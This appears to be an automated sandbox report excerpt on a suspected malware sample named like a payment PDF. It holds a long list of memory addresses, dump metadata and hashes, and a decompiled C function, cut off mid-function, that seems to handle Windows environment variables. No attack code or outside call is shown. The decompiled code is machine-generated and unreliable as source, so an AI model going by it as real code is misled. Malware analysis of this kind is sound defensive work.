0x3347cb99
0x3347cb9a
0x3347cb9d
0x3347cb9f
0x00000000
0x00000000
0x3347cba1
0x3347cba3
0x3347cba6
0x3347cba8
0x3347cbab
0x3347cbad
0x3347cbad
0x3347cbab
0x3347cbb0
0x3347cbb4
0x3347d045
0x3347d045
0x3347d049
0x3347d053
0x3347d060
0x3347d066
0x3347d06b
0x3347d06e
0x3347d070
0x00000000
0x00000000
0x3347d07d
0x3347d088
0x3347d08d
0x3347d090
0x3347d092
0x00000000
0x00000000
0x3347d098
0x3347d098
0x3347d09b
0x3347d0a1
0x3347d0a9
0x3347d0af
0x3347d0bd
0x3347d0bf
0x3347d0d2
0x3347d0d8
0x3347d0e2
0x3347d0e4
0x3347d0ea
0x3347d0ef
0x3347d0f2
0x3347d0f8
0x3347d0ff
0x3347d0ff
0x3347d106
0x3347d109
0x3347d238
0x3347d23c
0x3347d270
0x3347d28c
0x3347d294
0x3347d299
0x3347d29b
0x00000000
0x00000000
0x3347d2a4
0x3347d2a7
0x3347d2aa
0x3347d2b0
0x3347d2b6
0x00000000
0x3347d2b6
0x3347d23e
0x3347d241
0x00000000
0x00000000
0x3347d243
0x3347d245
0x3347d24d
0x3347d253
0x3347d259
0x3347d25f
0x00000000
0x00000000
0x3347d265
0x00000000
0x3347d10f
0x3347d10f
0x3347d117
0x3347d117
0x3347d11a
0x3347d150
0x3347d155
0x3347d155
0x3347d158
0x3347d15b
0x3347d161
0x3347d1b4
0x3347d1b4
0x3347d1ba
0x3347d1c4
0x3347d1c6
0x3347d1c8
0x3347d1cd
0x3347d1cf
0x3347d1d4
0x3347d1d6
0x3347d1d8
0x3347d1da
0x3347d1dd
0x3347d1e1
0x3347d1e7
0x3347d1ed
0x3347d1f0
0x3347d1f3
0x3347d1f6
0x3347d1fb
0x3347d1fb
0x3347d203
0x3347d206
0x3347d210
0x3347d212
0x3347d215
0x3347d217
0x3347d221
0x3347d221
0x3347d225
0x3347d225
0x3347d217
0x3347d1dd
0x3347d1d8
0x3347d1d4
0x3347d22a
0x3347d22a
0x3347d231
0x00000000
0x3347d231
0x3347d1bc
0x3347d1c2
0x00000000
0x00000000
0x00000000
0x3347d1c2
0x3347d163
0x3347d166
0x00000000
0x00000000
0x3347d16a
0x3347d170
0x3347d176
0x3347d179
0x3347d17c
0x3347d17f
0x3347d184
0x3347d184
0x3347d193
0x3347d199
0x3347d19e
0x3347d1a1
0x3347d1a6
0x3347d1a8
0x3347d1ad
0x00000000
0x00000000
0x3347d1af
0x3347d1b1
0x3347d1b1
0x3347d1b1
0x00000000
0x3347d1a6
0x3347d11c
0x3347d11c
0x3347d11f
0x3347d149
0x00000000
0x3347d149
0x3347d121
0x3347d124
0x3347d138
0x3347d13b
0x3347d142
0x00000000
0x3347d142
0x3347d126
0x3347d12b
0x00000000
0x3347d12b
0x3347d109
0x3347d0c1
0x3347d0c1
0x3347d0c8
0x00000000
0x3347cbba
0x3347cbbc
0x3347cbc3
0x3347cbc7
0x3347cbd0
0x3347cbd3
0x3347cce1
0x3347cce1
0x3347cce4
0x3347cce7
0x3347ccea
0x3347cdcc
0x3347cdcc
0x3347cdd3
0x00000000
0x3347cdd3
0x3347ccf0
0x00000000
0x3347ccf9
0x3347ccfd
0x3347cd0a
0x3347cd10
0x00000000
0x00000000
0x00000000
0x3347cd10
0x00000000
0x00000000
0x3347cd23
0x3347cd25
0x3347cd27
0x3347cd2c
0x00000000
0x00000000
0x3347cd32
0x3347cd37
0x00000000
0x00000000
0x3347cd3d
0x3347cd3f
0x00000000
0x00000000
0x3347cd45
0x3347cd47
0x3347cd4a
0x3347cd4d
0x3347cd54
0x3347cd54
0x3347cd4f
0x3347cd4f
0x3347cd4f
0x3347cd56
0x3347cd59
0x3347cd5c
0x3347cd63
0x3347cd63
0x3347cd5e
0x3347cd5e
0x3347cd5e
0x3347cd65
0x3347cd68
0x3347cd6b
0x3347cd6e
0x3347cd70
0x3347cd73
0x3347cd73
0x3347cd7b
0x3347cd7e
0x3347cd81
0x3347cd86
0x3347cd88
0x3347cd8b
0x3347cd8d
0x00000000
0x3347cd93
0x3347cd94
0x3347cd98
0x3347cd9a
0x3347cd9d
0x3347cda2
0x3347cda9
0x00000000
0x3347cda9
0x00000000
0x3347cdb0
0x3347cdb4
0x3347cd16
0x3347cd16
0x3347cd1a
0x00000000
0x3347cd1a
0x3347cdba
0x3347cdbe
0x00000000
0x00000000
0x3347cdc7
0x3347cdca
0x3347cddd
0x3347cde1
0x3347cdf0
0x3347cdf6
0x3347cdfb
0x3347cdfd
0x3347ccff
0x3347ccff
0x3347cd01
0x00000000
0x3347cd01
0x3347ce03
0x3347ce07
0x3347ce0a
0x3347ce10
0x3347ce10
0x00000000
0x3347ce0a
0x3347cde3
0x3347cde7
0x00000000
0x3347cde7
0x00000000
0x00000000
0x3347ce18
0x3347ce1c
0x3347ce2b
0x3347ce2f
0x3347ce32
0x3347ce1e
0x3347ce1e
0x3347ce22
0x3347ce22
0x00000000
0x00000000
0x3347ce3b
0x3347ce3f
0x00000000
0x00000000
0x00000000
0x00000000
0x3347ce4e
0x3347ce52
0x3347ce56
0x3347ce59
0x00000000
0x00000000
0x3347ce5f
0x3347ce61
0x3347ce65
0x3347ce6a
0x3347ce6c
0x3347cedb
0x3347cedd
0x3347cee1
0x3347cee5
0x00000000
0x3347cee5
0x3347ce74
0x3347ce7a
0x3347ce7e
0x3347ce84
0x3347cec5
0x3347cec5
0x3347cec7
0x3347cecb
0x3347cecb
0x3347cece
0x3347ced2
0x00000000
0x3347ced2
0x3347ce86
0x3347ce94
0x3347ce98
0x3347ce9f
0x3347cea5
0x3347ceaa
0x3347ceae
0x3347ceb1
0x00000000
0x00000000
0x3347ceb3
0x3347ceb4
0x3347ceba
0x3347cebd
0x00000000
0x00000000
0x3347ceee
0x3347cef0
0x3347cef2
0x3347cef7
0x3347ce41
0x3347ce41
0x3347ce45
0x00000000
0x3347ce45
0x3347cf01
0x3347cf04
0x3347cf09
0x3347cf0b
0x00000000
0x00000000
0x3347cf11
0x3347cf17
0x00000000
0x00000000
0x3347cf1d
0x3347cf20
0x3347cf22
0x00000000
0x00000000
0x3347cf32
0x3347cf3e
0x3347cf45
0x3347cf4a
0x3347cf4c
0x00000000
0x00000000
0x3347cf52
0x3347cf59
0x00000000
0x00000000
0x3347cf62
0x3347cf66
0x3347cf6a
0x3347cf6c
0x3347cf6e
0x3347cf73
0x00000000
0x00000000
0x3347cf79
0x3347cf81
0x3347cf9a
0x3347cf9d
0x3347cf83
0x3347cf83
0x3347cf8a
0x3347cf91
0x3347cf95
0x3347cf95
0x00000000
0x00000000
0x3347cfa3
0x3347cfa7
0x3347cfab
0x3347cfb1
0x3347cfb2
0x3347cfb4
0x3347cfb9
0x3347cfbc
0x3347cfbe
0x3347cfc0
0x3347cfc7
0x3347cfc7
0x00000000
0x00000000
0x3347cfcd
0x3347cfd1
0x3347cfd5
0x3347cfdb
0x3347cfdc
0x3347cfde
0x3347cfe3
0x3347cfe6
0x3347cfe8
0x3347cfea
0x3347cff0
0x3347cff6
0x3347cff8
0x3347cffb
0x3347cffb
0x3347cff6
0x00000000
0x00000000
0x3347d001
0x3347d006
0x00000000
0x00000000
0x3347d00c
0x3347d00c
0x3347d00c
0x3347d00f
0x3347d012
0x3347d014
0x3347d016
0x3347d018
0x3347d02a
0x3347d02d
0x3347d030
0x3347d033
0x3347d036
0x3347d03c
0x3347d03f
0x00000000
0x3347d03f
0x3347d01d
0x3347d020
0x00000000
0x00000000
0x3347d022
0x3347ccd9
0x00000000
0x00000000
0x3347ccf0
0x3347cbdc
0x3347cbde
0x3347cbe1
0x3347cbe3
0x3347cc7d
0x3347cc7d
0x3347cc7f
0x3347cc94
0x3347cc94
0x3347cc9c
0x3347cc9c
0x3347cc9f
0x3347d2c8
0x3347d2cd
0x3347d2cd
0x3347d2d0
0x3347d2d0
0x3347d2d6
0x3347d33b
0x3347d33b
0x3347d33e
0x3347d33e
0x3347d344
0x3347d352
0x3347d354
0x3347d356
0x3347d35b
0x3347d3ef
0x3347d3ef
0x3347d3f6
0x00000000
0x3347d3f6
0x3347d361
0x3347d366
0x00000000
0x00000000
0x3347d36c
0x3347d36e
0x00000000
0x00000000
0x3347d374
0x3347d378
0x00000000
0x00000000
0x3347d37c
0x3347d382
0x3347d388
0x3347d38b
0x3347d38e
0x3347d391
0x3347d396
0x3347d396
0x3347d39e
0x3347d3a1
0x3347d3ab
0x3347d3ad
0x3347d3b0
0x3347d3b2
0x00000000
0x3347d3b4
0x3347d3bc
0x3347d3c0
0x3347d3c5
0x3347d3cc
0x00000000
0x3347d3cc
0x3347d3b2
0x3347d346
0x3347d34c
0x00000000
0x00000000
0x00000000
0x3347d34c
0x3347d2d8
0x3347d2de
0x3347d2e8
0x3347d2e8
0x3347d2eb
0x3347d2ee
0x3347d2f2
0x3347d2f8
0x3347d2fe
0x3347d301
0x3347d304
0x3347d307
0x3347d30c
0x3347d30c
0x3347d31b
0x3347d321
0x3347d326
0x3347d32b
0x3347d32d
0x3347d332
0x3347d334
0x3347d336
0x3347d336
0x3347d332
0x3347d32b
0x00000000
0x3347d2ee
0x3347d2e0
0x3347d2e6
0x00000000
0x00000000
0x00000000
0x3347d2e6
0x3347cca5
0x3347cca5
0x3347cca8
0x3347d2c1
0x00000000
0x3347d2c1
0x3347ccae
0x3347ccb1
0x3347ccbd
0x3347ccc2
0x3347ccc5
0x3347ccc9
0x00000000
0x00000000
0x3347cccf
0x00000000
0x3347cccf
0x3347ccb3
0x00000000
0x3347ccb3
0x3347cc81
0x3347cc83
0x00000000
0x00000000
0x3347cc88
0x3347cc8a
0x3347cc8c
0x00000000
0x3347cc8c
0x3347cbe9
0x3347cbeb
0x00000000
0x00000000
0x3347cbf4
0x3347cbf6
0x3347cbfc
0x3347cc03
0x3347cc0b
0x3347cc23
0x3347cc23
0x3347cc29
0x3347cc2f
0x3347cc36
0x3347cc44
0x3347cc47
0x3347cc5b
0x3347cc6a
0x3347cc6a
0x3347cc6d
0x3347cc6f
0x3347cc72
0x3347cc75
0x00000000
0x3347cc75
0x3347cb90
0x3347cb2c
0x3347cb33
0x00000000
0x3347cb33
0x3347cb1d
0x3347cb1d
0x3347cb1f
0x3347cb1f
0x00000000
0x3347cb1f
0x3347c882
0x3347c886
0x3347c88e
0x3347caf2
0x3347caf7
0x3347cafa
0x00000000
0x00000000
0x3347cb14
0x3347cb16
0x00000000
0x3347cb16
0x3347c898
0x00000000
0x00000000
0x3347c89e
0x3347c8a6
0x00000000
0x00000000
0x3347c8b2
0x3347c8bc
0x3347caee
0x00000000
0x3347c8cb
0x3347c8d5
0x3347c8d8
0x3347c8da
0x3347c8de
0x3347c8e0
0x3347c8e0
0x3347c8e6
0x3347c8ee
0x00000000
0x00000000
0x3347c8f4
0x3347c8f9
0x3347cac6
0x3347cac9
0x00000000
0x3347c90c
0x3347c90e
0x00000000
0x3347c914
0x3347c91c
0x3347cad1
0x3347cad1
0x3347cad4
0x3347cadd
0x3347cae2
0x00000000
0x00000000
0x3347cae4
0x00000000
0x3347cae4
0x3347c90e
0x3347c8f9
0x3347cacf
0x3347cacf
0x00000000
0x3347cacf
0x3347c7b7
0x3347c7ba
0x3347c7c2
0x3347c7c2
0x3347c7bc
0x3347c7bc
0x3347c7bc
0x3347c7c4
0x3347c7c7
0x3347c7cb
0x3347c7d0
0x3347c7fc
0x3347c803
0x00000000
0x3347c826
0x3347c826
0x3347c829
0x00000000
0x3347c829
0x3347c7d7
0x3347c7dd
0x3347c927
0x3347c927
0x3347c92e
0x3347c938
0x3347c943
0x3347c947
0x3347c94c
0x3347c94f
0x3347c952
0x3347ca4a
0x3347ca4a
0x3347ca4f
0x3347ca4f
0x3347ca52
0x3347ca52
0x3347ca54
0x3347ca57
0x3347ca5d
0x00000000
0x00000000
0x3347ca63
0x3347ca68
0x3347ca6b
0x3347ca71
0x3347ca73
0x3347ca78
0x3347ca7b
0x3347ca7e
0x3347ca81
0x3347ca88
0x3347ca88
0x3347ca83
0x3347ca83
0x3347ca83
0x3347ca8a
0x3347ca8d
0x3347ca90
0x3347ca97
0x3347ca97
0x3347ca92
0x3347ca92
0x3347ca92
0x3347ca99
0x3347ca9c
0x3347ca9f
0x3347caa4
0x3347caa4
0x3347caad
0x3347cab7
0x3347cab7
0x3347caba
0x3347caba
0x00000000
0x3347caba
0x3347c958
0x3347c95a
0x3347ca09
0x3347ca0c
0x3347ca0d
0x3347ca11
0x3347ca13
0x3347ca14
0x3347ca19
0x3347ca1b
0x3347ca24
0x3347ca27
0x3347ca2a
0x3347ca31
0x3347ca33
0x3347ca33
0x3347ca39
0x3347ca39
0x3347ca3c
0x3347ca40
0x00000000
0x00000000
0x3347ca42
0x3347ca1d
0x3347ca1d
0x3347ca1d
0x00000000
0x3347ca1b
0x3347c960
0x3347c967
0x3347c96e
0x3347c984
0x3347c989
0x3347c98b
0x3347c991
0x3347c993
0x3347c9b9
0x3347c9bb
0x3347c9c1
0x3347c9c3
0x3347c9db
0x3347c9dd
0x3347c9e0
0x00000000
0x3347c9e0
0x3347c9c5
0x3347c9c8
0x3347c9ce
0x3347c9e5
0x00000000
0x3347c9d0
0x3347c9d0
0x3347c9d5
0x00000000
0x3347c9d5
0x3347c995
0x3347c995
0x3347c99c
0x3347c9ef
0x3347c9ef
0x3347c9f1
0x3347c9f2
0x3347c9f4
0x3347c9f6
0x3347c9f7
0x3347c9f9
0x3347c9fd
0x3347ca02
0x3347ca05
0x3347ca07
0x00000000
0x00000000
0x00000000
0x3347ca07
0x3347c7f9
0x3347c7f9
0x00000000
0x3347c7f9
0x3347c7dd
0x3347c7d0
0x3347c7ad
0x3347c77e
0x00000000
0x00000000
0x3347c786
0x00000000
0x3347c788
0x3347c788
0x3347c78d
0x00000000
0x3347c78d
0x00000000
0x00000000
0x00000000
0x3347d3fa
0x3347d3fa
0x3347d3fa
0x3347d3ff
0x3347d402
0x3347d40a
0x3347d40b
0x3347d40c
0x3347d41a
0x3347d41a

Strings

MUI, xrefs: 3347C7E3, 3347C960

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 6a4d6f9f1e0a1a7e4c784da828de343b9630e198f939f98971af7d5faf0d6a10
Instruction ID: 98c753214049366310970ca51f10655f15ac0f789871a440f98ad2405f1ab3dd
Opcode Fuzzy Hash: 6a4d6f9f1e0a1a7e4c784da828de343b9630e198f939f98971af7d5faf0d6a10
Instruction Fuzzy Hash: 9F8228B9E102088FEB14CFA9C980BDDB7B5FF49354F148169E869AB350DB309D46CB58

Uniqueness

Uniqueness Score: -1.00%

Function 3349B1E0 Relevance: 1.9, Strings: 1, Instructions: 629
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E3349B1E0(signed int _a4, signed int _a8, signed int _a12, signed int _a16, intOrPtr _a20) {
				char _v8;
				signed int _v12;
				char _v20;
				signed int _v29;
				char _v30;
				signed short _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* __ebx;
				void* __ebp;
				signed int _t232;
				intOrPtr _t235;
				signed int _t236;
				signed int _t241;
				short* _t255;
				short* _t259;
				short* _t260;
				signed int _t261;
				signed int _t270;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t282;
				void* _t284;
				signed int _t299;
				intOrPtr _t311;
				intOrPtr _t319;
				signed int _t322;
				signed int _t324;
				signed int _t327;
				signed short* _t334;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t343;
				signed int _t346;
				signed int _t350;
				signed int _t355;
				signed int _t356;
				intOrPtr _t357;
				signed int _t359;
				short* _t361;
				void* _t362;
				signed int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				signed short _t378;
				intOrPtr _t380;
				intOrPtr _t383;
				intOrPtr _t384;
				signed int _t388;
				signed int _t389;
				void* _t390;
				signed int _t392;
				intOrPtr _t397;
				signed int _t400;
				short* _t401;
				signed int _t402;
				short* _t403;
				signed int _t406;
				signed int _t408;
				void* _t409;
				signed int _t414;
				signed int _t415;
				void* _t416;
				void* _t417;
				signed int _t418;
				void* _t420;
				void* _t422;
				signed int _t424;
				signed int _t425;
				intOrPtr _t427;
				void* _t428;
				void* _t432;
				void* _t435;
				void* _t437;
				signed short _t438;
				intOrPtr _t441;
				signed int _t442;
				void* _t443;
				void* _t444;
				void* _t446;

				_push(0xfffffffe);
				_push(0x3354c5a8);
				_push(0x334bad20);
				_push( *[fs:0x0]);
				_t444 = _t443 - 0x54;
				_t232 =  *0x3356b370;
				_v12 = _v12 ^ _t232;
				_push(_t232 ^ _t442);
				 *[fs:0x0] =  &_v20;
				_v56 = 0;
				_v84 = 0;
				_v29 = 0;
				_v30 = 0;
				_t389 = _a12;
				if(_t389 == 0) {
					L120:
					_t235 = 0xc000000d;
					L66:
					 *[fs:0x0] = _v20;
					return _t235;
				}
				_t339 = _a8;
				if( *_t339 == 0) {
					goto L120;
				} else {
					_t236 = 1;
					while(_t236 < _t389) {
						_t388 =  *(_t339 + _t236 * 2) & 0x0000ffff;
						if(_t388 == 0 || _t388 == 0x3d) {
							goto L120;
						} else {
							_t236 = _t236 + 1;
							_t339 = _a8;
							continue;
						}
					}
					_t340 = _a16;
					__eflags = _t340;
					if(_t340 == 0) {
						L12:
						_t238 =  *( *[fs:0x18] + 0x30);
						_t327 =  *((intOrPtr*)(_t238 + 0x10));
						_v48 = _t327;
						_v100 = _t327;
						_v68 = 0;
						_t414 = 0;
						_v44 = 0;
						_t341 = _a4;
						__eflags = _t341;
						if(_t341 != 0) {
							_t342 =  *_t341;
							_v36 = _t342;
							__eflags =  *(_t327 + 0x48) - _t342;
							if( *(_t327 + 0x48) != _t342) {
								goto L14;
							}
							_t238 =  *(_t238 + 0x1c);
							__eflags = _t238;
							if(_t238 == 0) {
								L104:
								_v29 = 1;
								goto L14;
							} else {
								_t238 = E33492180(_t238);
								_t342 = _v36;
								__eflags = _t238;
								if(_t238 == 0) {
									goto L14;
								}
								goto L104;
							}
						} else {
							_v30 = 1;
							_v29 = 1;
							_t238 = L3347FED0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
							_t342 =  *(_t327 + 0x48);
							_v36 = _t342;
							_t414 = _v44;
							L14:
							_v8 = 0;
							_t400 = _t342;
							_v40 = _t400;
							_t328 = 0;
							_v52 = 0;
							__eflags = _t342;
							if(_t342 == 0) {
								L61:
								__eflags = _t414;
								if(_t414 != 0) {
									_t400 = _t414;
									_v40 = _t400;
								}
								__eflags = _t328;
								if(_t328 == 0) {
									__eflags = _a16;
									if(_a16 == 0) {
										goto L63;
									}
									__eflags = _t400;
									if(_t400 == 0) {
										_t415 = _a12;
										_t344 = _a20;
										_t241 = 6 + (_t415 + _a20) * 2;
										_t390 = 0;
										L75:
										_v60 = _t241;
										__eflags = _t241 - _t390;
										if(_t241 < _t390) {
											L334B8C00(_t400 + (_t344 + 2 + _t415) * 2, _t400, _t328 - _t400 & 0xfffffffe);
											_t416 = _t415 + _t415;
											L334B88C0(_t400, _a8, _t416);
											_t446 = _t444 + 0x18;
											_t329 = _v29;
											__eflags = _v29;
											if(_v29 != 0) {
												L334B8F40(0x335663a0, 0, 0x234);
												_t446 = _t446 + 0xc;
											}
											_t401 = _t400 + _t416;
											_v40 = _t401;
											 *_t401 = 0x3d;
											_t402 = _t401 + 2;
											_v40 = _t402;
											_t417 = _a20 + _a20;
											L334B88C0(_t402, _a16, _t417);
											_t403 = _t402 + _t417;
											_v40 = _t403;
											_t238 = 0;
											 *_t403 = 0;
											_v40 = _t403 + 2;
											__eflags = _a4;
											if(_a4 != 0) {
												goto L64;
											} else {
												_t343 = _v48;
												 *((intOrPtr*)(_t343 + 0x48)) = _v36;
												_t238 = _v60;
												 *((intOrPtr*)(_t343 + 0x290)) = _v60;
												 *((intOrPtr*)(_t343 + 0x294)) =  *((intOrPtr*)(_t343 + 0x294)) + 1;
												goto L65;
											}
										}
										_t346 = L3349B9FA(_t241);
										_v64 = _t346;
										__eflags = _t346;
										if(_t346 == 0) {
											L111:
											_v68 = 0xc000009a;
											goto L63;
										}
										__eflags = _t400;
										if(_t400 == 0) {
											_t418 = 0;
										} else {
											_t424 = _t400 - _v36;
											__eflags = _t424;
											_t418 = _t424 >> 1;
											L334B88C0(_t346, _v36, _t418 + _t418);
											_t444 = _t444 + 0xc;
											_t346 = _v64;
										}
										_v80 = _t346 + _t418 * 2;
										_t420 = _a12 + _a12;
										L334B88C0(_t346 + _t418 * 2, _a8, _t420);
										_t255 = _v80 + _t420;
										 *_t255 = 0x3d;
										_v80 = _t255 + 2;
										_t422 = _a20 + _a20;
										L334B88C0(_t255 + 2, _a16, _t422);
										_t259 = _v80 + _t422;
										 *_t259 = 0;
										_t260 = _t259 + 2;
										__eflags = _t400;
										if(_t400 == 0) {
											 *_t260 = 0;
											_t329 = _v29;
										} else {
											L334B88C0(_t260, _t400, _t328 - _t400 & 0xfffffffe);
											_t329 = _v29;
											__eflags = _v29;
											if(_v29 != 0) {
												L334B8F40(0x335663a0, 0, 0x234);
											}
										}
										_t350 = _a4;
										_t261 = _v64;
										__eflags = _t350;
										if(_t350 != 0) {
											 *_t350 = _t261;
										} else {
											_t350 = _v48;
											 *((intOrPtr*)(_t350 + 0x48)) = _t261;
											 *((intOrPtr*)(_t350 + 0x290)) = _v60;
											_t148 = _t350 + 0x294;
											 *_t148 =  *(_t350 + 0x294) + 1;
											__eflags =  *_t148;
										}
										__eflags = _v30;
										if(_v30 != 0) {
											_push( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
											E3347E740(_t350);
											_v30 = 0;
										}
										_t238 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v36);
										goto L64;
									}
									_v52 = _t400;
									while(1) {
										L70:
										_t270 =  *_t400 & 0x0000ffff;
										__eflags = _t270;
										if(_t270 == 0) {
											break;
										}
										while(1) {
											_t400 = _t400 + 2;
											_v52 = _t400;
											__eflags = _t270;
											if(_t270 == 0) {
												goto L70;
											}
											_t270 =  *_t400 & 0x0000ffff;
										}
									}
									_v52 = _t400 + 2;
									_t390 = L3349B870(_t342,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t342);
									_t328 = _v52;
									_t415 = _a12;
									_t355 = (_v52 - _v36 >> 1) + _t415 + _a20;
									__eflags = _t355;
									_t241 = 4 + _t355 * 2;
									_t400 = _v40;
									_t344 = _a20;
									goto L75;
								} else {
									L63:
									_t329 = _v29;
									L64:
									_t343 = _v48;
									L65:
									_v8 = 0xfffffffe;
									L3349B839(_t238, _t329, _t343);
									_t235 = _v68;
									goto L66;
								}
							}
							_t238 = _v84;
							_v80 = _v84;
							while(1) {
								L16:
								__eflags =  *_t400 - _t328;
								if( *_t400 == _t328) {
									break;
								}
								_t392 = _t400;
								_v92 = _t392;
								_t425 = 0;
								__eflags = 0;
								_v88 = 0;
								while(1) {
									_t400 = _t400 + 2;
									_v40 = _t400;
									_t273 =  *_t400 & 0x0000ffff;
									__eflags = _t273;
									if(_t273 == 0) {
										break;
									}
									__eflags = _t273 - 0x3d;
									if(_t273 != 0x3d) {
										continue;
									}
									_t425 = _t400 - _t392 >> 1;
									_v88 = _t425;
									_t400 = _t400 + 2;
									__eflags = _t400;
									_v40 = _t400;
									_t322 = _t400;
									_v56 = _t322;
									while(1) {
										__eflags =  *_t400 - _t328;
										if( *_t400 == _t328) {
											break;
										}
										_t400 = _t400 + 2;
										_v40 = _t400;
									}
									_t374 = _t400 - _t322;
									__eflags = _t374;
									_t375 = _t374 >> 1;
									_v80 = _t375;
									_v84 = _t375;
									break;
								}
								_t400 = _t400 + 2;
								_v40 = _t400;
								_t238 = _a8;
								_v72 = _t238;
								_v76 = _t392;
								_t356 = _a12;
								__eflags = _t356 - _t425;
								if(_t356 > _t425) {
									_t356 = _t425;
								}
								_t357 = _t238 + _t356 * 2;
								_v96 = _t357;
								while(1) {
									__eflags = _t238 - _t357;
									if(_t238 >= _t357) {
										break;
									}
									_v60 =  *_t238 & 0x0000ffff;
									_v64 =  *_t392 & 0x0000ffff;
									_t378 = _v60;
									_v32 = _t378;
									_t438 = _v64;
									__eflags = _t378 - _t438;
									if(_t378 == _t438) {
										L37:
										_t238 = _t238 + 2;
										_v72 = _t238;
										_t392 = _t392 + 2;
										_v76 = _t392;
										_t357 = _v96;
										continue;
									}
									__eflags = _t378 - 0x61;
									if(_t378 >= 0x61) {
										__eflags = _t378 - 0x7a;
										if(_t378 > 0x7a) {
											__eflags =  *0x33566914 - _t328; // 0x7ffd0654
											if(__eflags == 0) {
												goto L30;
											}
											_v60 = 0xc0;
											__eflags = _t378 - _v60;
											if(_t378 < _v60) {
												goto L30;
											}
											_t384 =  *0x33566914; // 0x7ffd0654
											_t319 =  *0x33566914; // 0x7ffd0654
											_t397 =  *0x33566914; // 0x7ffd0654
											_t378 = _v32 +  *((intOrPtr*)(_t397 + (( *(_t319 + (( *(_t384 + ((_t378 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + ((_t378 & 0x0000ffff) >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t378 & 0xf)) * 2));
											_t238 = _v72;
											_t392 = _v76;
											L42:
											_v32 = _t378;
											goto L30;
										}
										_t66 =  &_v60;
										 *_t66 = _v60 + 0xffe0;
										__eflags =  *_t66;
										_t378 = _v60;
										goto L42;
									}
									L30:
									__eflags = _t438 - 0x61;
									if(_t438 >= 0x61) {
										__eflags = _t438 - 0x7a;
										if(_t438 > 0x7a) {
											__eflags =  *0x33566914 - _t328; // 0x7ffd0654
											if(__eflags != 0) {
												_v64 = 0xc0;
												__eflags = _t438 - _v64;
												if(_t438 >= _v64) {
													_t380 =  *0x33566914; // 0x7ffd0654
													_t311 =  *0x33566914; // 0x7ffd0654
													_t383 =  *0x33566914; // 0x7ffd0654
													_t438 = _t438 +  *((intOrPtr*)(_t383 + (( *(_t311 + (( *(_t380 + ((_t438 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + ((_t438 & 0x0000ffff) >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0xf)) * 2));
													_t378 = _v32;
													_t238 = _v72;
													_t392 = _v76;
												}
											}
										} else {
											_v64 = _v64 + 0xffe0;
											_t438 = _v64;
										}
									}
									__eflags = _t378 - _t438;
									if(_t378 == _t438) {
										goto L37;
									} else {
										_t238 = _t438 & 0x0000ffff;
										_t359 = (_t378 & 0x0000ffff) - (_t438 & 0x0000ffff);
										__eflags = _t359;
										L33:
										__eflags = _t359;
										if(__eflags == 0) {
											_t334 = _t400;
											_v52 = _t334;
											while(1) {
												L45:
												_t274 =  *_t334 & 0x0000ffff;
												__eflags = _t274;
												if(_t274 == 0) {
													break;
												}
												while(1) {
													_t334 =  &(_t334[1]);
													_v52 = _t334;
													__eflags = _t274;
													if(_t274 == 0) {
														goto L45;
													}
													_t274 =  *_t334 & 0x0000ffff;
												}
											}
											_t328 =  &(_t334[1]);
											_v52 = _t328;
											_t275 = _a16;
											__eflags = _t275;
											if(_t275 == 0) {
												_push(_t328 - _t400 & 0xfffffffe);
												_push(_t400);
												_push(_v92);
												L90:
												_t238 = L334B8C00();
												_t444 = _t444 + 0xc;
												L91:
												__eflags = _v29;
												if(_v29 != 0) {
													_t238 = L334B8F40(0x335663a0, 0, 0x234);
													_t444 = _t444 + 0xc;
												}
												goto L60;
											}
											_t427 = _a20;
											__eflags = _t427 - _v80;
											if(_t427 <= _v80) {
												_t428 = _t427 + _t427;
												L334B88C0(_v56, _t275, _t428);
												_t444 = _t444 + 0xc;
												_t361 = _v56 + _t428;
												_t238 = 0;
												 *_t361 = 0;
												_t362 = _t361 + 2;
												__eflags = _a20 - _v80;
												if(_a20 == _v80) {
													goto L91;
												}
												_t282 = _t328 - _t400 & 0xfffffffe;
												__eflags = _t282;
												_push(_t282);
												_push(_t400);
												_push(_t362);
												goto L90;
											}
											_t406 = _v36;
											_t284 = L3349B870(_t359,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t406);
											_t328 = _v52;
											_t368 = (_t328 - _t406 >> 1) - _v84 + _t427 + (_t328 - _t406 >> 1) - _v84 + _t427;
											_v80 = _t368;
											__eflags = _t368 - _t284;
											if(_t368 < _t284) {
												_t432 = _v56 + 2 + _t427 + _t427;
												_v88 = _v40;
												L334B8C00(_t432, _v40, _t328 - _v40 & 0xfffffffe);
												 *((short*)(_t432 - 2)) = 0;
												_t238 = L334B88C0(_t432 - 2 - _t427 + _t427, _a16, _t427 + _t427);
												_t444 = _t444 + 0x18;
												__eflags = _a4;
												if(_a4 == 0) {
													_t370 = _v48;
													 *((intOrPtr*)(_t370 + 0x48)) = _v36;
													_t238 = _v80;
													 *((intOrPtr*)(_t370 + 0x290)) = _v80;
													_t221 = _t370 + 0x294;
													 *_t221 =  *(_t370 + 0x294) + 1;
													__eflags =  *_t221;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													_t238 = L334B8F40(0x335663a0, 0, 0x234);
